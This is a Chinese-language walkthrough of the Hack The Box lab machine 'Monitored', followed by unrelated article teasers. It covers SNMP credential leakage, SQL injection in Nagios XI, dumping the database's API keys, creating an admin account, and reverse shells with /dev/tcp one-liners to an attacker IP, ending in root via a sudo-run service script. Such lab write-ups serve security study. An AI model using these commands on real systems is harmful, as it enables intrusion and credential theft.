Linux/Monitored

Enumeration

nmap

用 nmap 扫描了常见的端口,发现对外开放了 22,80,389,443,5667 端口,端口详细信息如下

┌──(kali㉿kali)-[~/vegetable/HTB/Monitored]
└─$ nmap -sC -sV -p  22,80,389,443,5667 10.10.11.248
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-12 04:50 EDT
Nmap scan report for 10.10.11.248
Host is up (0.38s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey: 
|   3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
|   256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
|_  256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
80/tcp   open  tcpwrapped
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp  open  tcpwrapped
443/tcp  open  tcpwrapped
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
5667/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.48 seconds

扫描端口详细信息,发现在 service 处都是 tcpwrapped,这意味着这些服务受到 TCP Wrapper 访问控制列表(ACL)的保护。TCP Wrapper 是一个用于限制网络访问的工具,它基于源 IP 地址或其他因素来决定是否允许连接。22 端口对应着 ssh 服务,80 端口对应着 http,并且提示了域名信息 nagios.monitored.htb,389 端口一般表示的是 ldap 协议,即轻量目录访问协议,443 端口代表 https,但是 nmap 给出的结果显示 400 Bad Request,另外 5667 并不是一个常见的端口

先从 Web 开始,页面左上角写着 Nagios XI,点击 Access Nagios XI 会跳转至登陆页面,搜索发现 Nagios XI 是一个网络监控软件,在网上搜索发现了很多漏洞,目前也并不清楚系统的版本信息,所以先看看别的

nagios.monitored.htb→Nagios XI

但是没有登录用户名口令,无法进入系统,尝试利用 gobuster 扫描一下 Web 目录,发现了 /api/v1/authenticate 目录,访问该接口发现可以认证,需要使用 POST 方式

但同样没有用户名和密码

搜索 nagios 比较新的漏洞,发现这些安全漏洞主要影响到 5.11.1 及更低版本的 Nagios XI。CVE-2023-40931、CVE-2023-40933 和 CVE-2023-40934 漏洞是 SQL 注入问题,网络可利用这几个漏洞提升自身权限,并获取敏感的用户数据,包括密码哈希和 API 令牌。但是搜索发现其中大部分都需要身份验证

ldap 协议也没搞出什么东西,然后想到还有 udp 端口没有扫描,尝试扫描 udp 端口,然后发现了 snmp

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU 10.10.11.248     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-13 04:14 EDT

Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.38s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
123/udp open          ntp
161/udp open          snmp
162/udp open|filtered snmptrap

SNMP - 简单网络管理协议是一种用于监控网络中不同设备(如路由器、交换机、打印机、物联网等)的协议。可以参考 hacktricks 关于 snmp 枚举的内容161,162,10161,10162/udp - 渗透测试 SNMP |黑客技巧 |黑客技巧 (hacktricks.xyz)

首先使用 nmap 针对 snmp 相关脚本扫描了 161 端口,结果如下

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p 161 --script "snmp* and not snmp-brute" 10.10.11.248
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-13 04:41 EDT
Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.45s latency).

Bug in snmp-win32-software: no string output.
PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64
|_  System uptime: 3h38m47.39s (1312739 timeticks)
| snmp-processes: 
|   1: 

|   2: 

 <--snip-->
  
|   219: 
|_  220: 
| snmp-netstat: 
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  127.0.0.1:25         0.0.0.0:0
|   TCP  127.0.0.1:3306       0.0.0.0:0
|   TCP  127.0.0.1:5432       0.0.0.0:0
|   TCP  127.0.0.1:7878       0.0.0.0:0
|   TCP  127.0.0.1:34392      127.0.1.1:80
|   TCP  127.0.0.1:34396      127.0.1.1:80
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:162          *:*
|   UDP  10.10.11.248:123     *:*
|_  UDP  127.0.0.1:123        *:*
| snmp-interfaces: 
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Status: up
|     Traffic stats: 1.26 Mb sent, 1.26 Mb received
|   VMware VMXNET3 Ethernet Controller
|     IP address: 10.10.11.248  Netmask: 255.255.254.0
|     MAC address: 005056b91c9a (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Status: up
|_    Traffic stats: 35.26 Mb sent, 13.42 Mb received
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 6f3fa7421af94c6500000000
|   snmpEngineBoots: 35
|_  snmpEngineTime: 3h38m47s

Nmap done: 1 IP address (1 host up) scanned in 57.84 seconds

可以看到目标是一个名为 monitored 的Debian Linux 系统,内核版本为 5.10.0-27-amd64,系统运行时间等,在进程部分没有显示有效的进程 ID 和描述,而在 snmp-info 部分,从上到下依次为,由 net-snmp 项目提供 SNMP引擎;unknow 表示无法识别引擎 ID 格式;引擎 ID 为 6f3fa7421af94c6500000000;SNMP 引擎的重启次数;SNMP引擎自上次启动以来的运行时间

并没有获取到什么关键的信息,尝试使用文章中另一个工具,snmpwalk

┌──(root㉿kali)-[/home/kali/vegetable/HTB/Monitored]
└─# snmpwalk -c public -v 1 -m ALL 10.10.11.248 .1.3.6.1.2.1.25

发现了用户名和密码泄露,svc/XjH7VCehowpR1xZB

尝试使用该用户名密码登录 Web,但是失败了,试一下刚刚扫描出的目录 /api/v1/authenticate,用刚才的方法依然显示用户名错误,在论坛里找了找,发现了帮助解决不安全的登录/后端票证身份验证。- Nagios 支持论坛

┌──(kali㉿kali)-[~]
└─$ curl -XPOST -k -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'

{
    "username": "svc",
    "user_id": "2",
    "auth_token": "2baff7b4f721ab40fbbbdf6f82864e8cfaf703f7",
    "valid_min": 5,
    "valid_until": "Thu, 14 Mar 2024 03:39:54 -0400"
}

Exploitation

CVE-2023-40931

根据文章内容获得了一个 auth_token,试试能否利用 CVE-2023-40931,加上 token 依然出现错误,但显然和没有 token 时不同

在参数 id 后添加了一个单引号,导致服务报错,在测试时发现,token 只能使用一次,每一次都需要重新生成

因为本身就存在 sql 注入漏洞,简单验证一下就可以了,尝试使用 sqlmap 来自动化注入,每次都需要重新生成一个 token,可以利用管道符将输出传递给 jq 来提取特定数据

┌──(kali㉿kali)-[~]
└─$ curl -XPOST -ks -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | jq -r '.auth_token'
c8506bfe4a11ea4a8a08e99385ea93558b252018

 #使用 -s 可以省略过程信息

然后将这个结果作为参数传递给存在 sql 注入的接口,因为是以 get 方式提交,所以可以使用以下指令来自动化注入

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -XPOST -ks -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | jq -r '.auth_token'`" --level 5 --risk 3 -p id --batch

结果如下

接下来就挨着爆破 数据库,表,内容

--dbs
available databases [2]:
[*] information_schema
[*] nagiosxi

--tables -D "nagiosxi"
Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog                 |
| xi_auth_tokens              |

<--snip-->
 
| xi_users                    |
+-----------------------------+


--dump -T "xi_users"
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | name                 | email               | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | Nagios Administrator | admin@monitored.htb | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 1710405755   | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 3              | 1701427555           |
| 2       | svc                  | svc@monitored.htb   | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1699730174   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 3              | 1699697433           |
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

获得了管理员的密码 hash,在 hash Analyzer 中分析获得如下结果

使用 hashcat 破解失败了,后来发现可以使用 api_key 来新建一个管理员用户,在论坛add new users to Nagios XI web interface - Nagios Support Forum中发现可以创建一个普通用户,又参考其他人的 wp,发现可以利用 authlevel=admin 来创建一个管理员用户,指令及结果如下

┌──(kali㉿kali)-[~/vegetable/HTB/Monitored]
└─$ curl -k -L -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=vegetable&password=vegetable&name=vegetable&email=vegetable@localhost&auth_level=admin"
{
    "success": "User account vegetable was added successfully!",
    "user_id": 6
}

此时,可以凭借创建的用户登录系统

command injection

点击同意,修改密码后,点击 config → core config → commands,在这里可以看到一些命令,也可以添加新命令

在 Online - Reverse Shell Generator (revshells.com) 中找一个反向连接 shell,然后新建一个 command

然后转到 service,导入刚才创建的 command

最后点击页面下方 run check command,但是该 rev_shell 没起作用,按照同样的流程发现可以使用下面的指令来反弹 shell

bash -c 'bash -i >& /dev/tcp/10.10.14.56/4444 0>&1'

在监听端获取到反弹 shell,并升级该 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.248] 37276
bash: cannot set terminal process group (78501): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ which python3
which python3
/usr/bin/python3
nagios@monitored:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
nagios@monitored:~$ ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

利用 linpeas.sh 来检查系统漏洞,用 python 开启一个 http 服务,然后在目标主机中下载,并添加执行权限

nagios@monitored:/tmp$ wget http://10.10.14.56:8888/linpeas.sh
--2024-03-14 23:16:44--  http://10.10.14.56:8888/linpeas.sh
Connecting to 10.10.14.56:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 840.38K   135KB/s    in 6.2s    

2024-03-14 23:16:51 (135 KB/s) - ‘linpeas.sh’ saved [860549/860549]

nagios@monitored:/tmp$ chmod +x linpeas.sh

找到的一些结果如下,有 npcd 的写入执行权限

所以可以往其中写入反向 shell 连接脚本,然后执行该文件。在 sudo -l 一栏中发现以下内容,nagios 可以不需要密码就以 root 身份执行以下命令

然后一步一步发现 manage_service.sh 可以控制 npcd,查看其状态如下

关闭 npcd 服务,然后修改其内容为反向 shell 连接脚本,在重启 npcd 服务即可获取到反弹 shell,又因为是 root 执行的,所以……

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
nagios@monitored:/usr/local/nagios/bin$ echo '#!/bin/bash' > npcd
nagios@monitored:/usr/local/nagios/bin$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.56/4445 0>&1'" >> npcd
nagios@monitored:/usr/local/nagios/bin$ cat npcd
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.56/4445 0>&1'

然后在 kali 中监听 4445 端口,在重新启动 npcd 服务

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

在监听端,收到 root shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4445
listening on [any] 4445 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.248] 43260
bash: cannot set terminal process group (105350): Inappropriate ioctl for device
bash: no job control in this shell
root@monitored:/# id
id
uid=0(root) gid=0(root) groups=0(root)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/473428.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Git和本地仓库托管到gitee

Git作用&#xff1a;记录代码内容&#xff0c;切换代码版本&#xff0c;实现多人开发 Git安装&#xff1a; 打开bash端 命令&#xff1a;git-v(查看版本&#xff09; 配置用户信息 git config --global user.name “用户名” git config --global user.email "邮箱名…

云蜜罐技术(德迅猎鹰)诞生

数字化程度高且高价值信息密集的行业&#xff0c;如金融、能源、互联网、政府、教育、医疗、军工等行业&#xff0c;面对日益规模化、专业化的网络攻击&#xff0c;渐渐不再满足于一味的防守加固。除了巩固防线之外&#xff0c;他们愈发看重主动出击、感知更大范围内的攻击&…

Windows下IntelliJ IDEA远程连接服务器中Hadoop运行WordCount(详细版)

使用IDEA直接运行Hadoop项目&#xff0c;有两种方式&#xff0c;分别是本地式&#xff1a;本地安装HadoopIDEA&#xff1b;远程式&#xff1a;远程部署Hadoop&#xff0c;本地安装IDEA并连接&#xff0c; 本文介绍第二种。 一、安装配置Hadoop (1)虚拟机伪分布式 见上才艺&a…

Java二阶知识点总结(七)SVN和Git

SVN 1、SVN和Git的区别 SVN是集中式的&#xff0c;也就是会有一个服务器保存所有代码&#xff0c;拉取代码的时候只能从这个服务器上拉取&#xff1b;Git是分布式的&#xff0c;也就是说每个人都保存有所有代码&#xff0c;如果要获取代码&#xff0c;可以从其他人手上获取SV…

实用工具推荐:适用于 TypeScript 网络爬取的常用爬虫框架与库

随着互联网的迅猛发展&#xff0c;网络爬虫在信息收集、数据分析等领域扮演着重要角色。而在当前的技术环境下&#xff0c;使用TypeScript编写网络爬虫程序成为越来越流行的选择。TypeScript作为JavaScript的超集&#xff0c;通过类型检查和面向对象的特性&#xff0c;提高了代…

LeetCode 面试经典150题 罗马数字转整数

题目&#xff1a; 罗马数字包含以下七种字符: I&#xff0c; V&#xff0c; X&#xff0c; L&#xff0c;C&#xff0c;D 和 M。 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M …

25.1 微服务_Zookeeper组件

25.1 Zookeeper 1. Zookeeper简介1.1 ZooKeeper 的由来1.2 ZooKeeper功能1.3 Zookeeper特点1.4 Zookeeper架构1.5 Zookeeper作用*********************************************************************************************

基于BusyBox的imx6ull移植sqlite3到ARM板子上

1.官网下载源码 https://www.sqlite.org/download.html 下载源码解压到本地的linux环境下 2.解压并创建install文件夹 3.使用命令行配置 在解压的文件夹下打开终端&#xff0c;然后输入以下内容&#xff0c;其中arm-linux-gnueabihf是自己的交叉编译器【自己替换】 ./config…

Debezium vs OGG vs Tapdata:如何实时同步 Oracle 数据到 Kafka 消息队列?

随着信息时代的蓬勃发展&#xff0c;企业对实时数据处理的需求逐渐成为推动业务创新和发展的重要驱动力。在这个快速变化的环境中&#xff0c;许多企业选择将 Oracle 数据库同步到 Kafka&#xff0c;以满足日益增长的实时数据处理需求。本文将深入探讨这一趋势的背后原因&#…

[自研开源] MyData 数据集成之任务调度模式 v0.7

开源地址&#xff1a;gitee | github 详细介绍&#xff1a;MyData 基于 Web API 的数据集成平台 部署文档&#xff1a;用 Docker 部署 MyData 使用手册&#xff1a;MyData 使用手册 试用体验&#xff1a;http://demo.mydata.work 交流 Q 群&#xff1a;430089673 概述 本…

ArcGIS Pro、R和INVEST:三位一体的生态系统服务评估框架

生态系统服务是指生态系统所形成的用于维持人类赖以生存和发展的自然环境条件与效用&#xff0c;是人类直接或间接从生态系统中得到的各种惠益。联合国千年生态系统评估&#xff08;Millennium ecosystem assessment&#xff0c;MA&#xff09;提出生态系统服务包括供给、调节、…

【linux】环境基础|开发工具|gcc|yum|vim|gdb|make|git

目录 ​编辑 Linux 软件包管理器 yum 软件包: 操作&#xff1a; 拓展&#xff1a;lrzsz简介 Linux开发工具 Linux编辑器-vim使用 vim 的基本概念 命令模式 插入模式 底行模式 vim 命令模式的操作指令 vim 底行模式的操作命令 Linux编译器-gcc/g使用 功能 格…

【web算法】列车车厢重排问题

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

【Linux】如何使用git命令行与远程仓库建立连接(以Gitee为例)

目录 01.创建仓库 开源 初始化​编辑 设置模版 ​编辑 02.下载仓库到本地 03.提交贡献到远程仓库 01.创建仓库 首先在Gitee网站上登录你的账户&#xff0c;并创建一个新的仓库&#xff0c;输入仓库名称后就会自动生成仓库路径 开源 可以选择你的仓库是否开源。 开源仓…

SpringBoot之整合Dubbo

一、下载Dubbo-Admin并导入本地 dubbo-admin地址为:GitHub - apache/dubbo-admin: The ops and reference implementation for Apache Dubbo 官方文档:https://github.com/apache/dubbo-admin/blob/develop/README_ZH.md 注意需要安装Zookeeper(因为Dubbo使用Zookeeper作为注…

vue项目设置通过IP和localhost可同时访问

vue项目设置通过IP和localhost可同时访问 打开package.json文件 在要运行的分支下添加host,最后重新运行项目 重新运行项目 "dev": "webpack-dev-server --inline --progress --config build/webpack.dev.conf.js --host 0.0.0.0",

代码随想录算法训练营 DAY 15 | 二叉树的层序遍历 226.翻转二叉树 101.对称二叉树

层序遍历 我们是用队列来保存元素。同时记录队列的大小&#xff0c;用来表示一层有几个节点。从而实现分层进行操作 遍历每一层&#xff08;每一层遍历size次&#xff09;的同时&#xff0c;把它的左右孩子都入队&#xff08;插入队尾&#xff09;&#xff08;如果有的话&…

C++类和对象详解(上)

类的引入 由于内容十分之多所以类和对象我将分成三期去讲解 在C语言中&#xff0c;描绘一类对象的的属性时&#xff0c;我们会使用结构体&#xff0c;在结构体重定义该对象的特征&#xff0c;如一个学生。 struct student { char name[20]; int age; char sex[10]; //... };而…

Maven介绍

1.什么是Maven Maven是一个针对Java项目的构建和依赖管理工具。 具体来说&#xff0c;Maven 提供了一系列用于项目管理的功能&#xff0c;包括但不限于&#xff1a; 依赖管理&#xff1a;通过pom.xml文件&#xff0c;Maven 可以自动处理项目所需的所有依赖库&#xff0c;简化…

基于Vue.js和D3.js的智能停车可视化系统

引言 随着物联网技术的发展&#xff0c;智能停车系统正逐渐普及。前端作为用户交互的主要界面&#xff0c;对于提供直观、实时的停车信息至关重要。 目录 引言 一、系统设计 二、代码实现 1. 环境准备 首先&#xff0c;确保您的开发环境已经安装了Node.js和npm。然后&…